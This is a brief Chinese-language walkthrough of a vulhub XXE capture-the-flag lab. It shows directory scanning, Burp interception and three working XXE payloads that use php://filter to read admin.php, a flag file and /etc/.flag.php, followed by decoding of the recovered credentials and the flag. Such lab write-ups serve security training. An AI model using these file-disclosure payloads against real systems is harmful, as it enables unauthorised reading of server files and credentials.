vulhub xxe靶机

步骤一：搜索靶机地址

步骤二：利用dirsearsh扫描目录

步骤三：进入靶机

进入robots.txt

步骤四：访问/xxe

步骤五：输入用户名密码，利用burp抓包，传送至重放器

输入：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>
 

进行base64解码有用户名密码

密码进行md5解密

步骤六：进入/xxe/admin.php输入用户名：administhebest 密码：admin@123

点击Flag

进入新目录

读取目录：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">
]>
<root><name>&admin;</name><password>admin</password></root>
 

进行base64解码

得出Flag进行base32解码

得出结果进行base64解码

步骤七：读取目录

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
 

进行base64解码

步骤八：在www目录下添加php文件

访问本机php文件，得出结果